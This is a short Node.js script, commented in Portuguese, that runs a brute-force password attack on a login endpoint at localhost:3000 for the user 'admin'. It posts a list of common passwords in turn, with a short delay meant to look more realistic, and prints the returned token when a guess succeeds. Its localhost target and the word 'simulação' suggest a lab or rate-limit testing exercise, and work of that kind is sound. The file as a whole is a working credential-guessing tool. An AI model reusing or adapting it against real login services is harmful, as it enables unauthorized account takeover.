attack.js

console.log("🚀 Script iniciado")
const axios = require('axios')

const URL = 'http://localhost:3000/login'
const USER = 'admin'

// lista de senhas erradas (simulação)
const passwords = [
  '123456',
  'senha123',
  'admin',
  'qwerty',
  '000000',
  'password',
  'abc123',
  'letmein',
  'senhaerrada'
]

async function attack() {
  console.log(' Iniciando ataque de brute force...\n')

  for (let i = 0; i < passwords.length; i++) {
    try {
      const response = await axios.post(URL, {
        username: USER,
        password: passwords[i]
      })

      console.log(`✅ SUCESSO! Senha encontrada: ${passwords[i]}`)
      console.log('Token:', response.data.token)
      break

    } catch (err) {
      console.log(`❌ Tentativa ${i + 1} falhou: ${passwords[i]}`)
    }

    // pequeno delay (simula comportamento mais real)
    await new Promise(resolve => setTimeout(resolve, 500))
  }

  console.log('\n Ataque finalizado')
}

attack()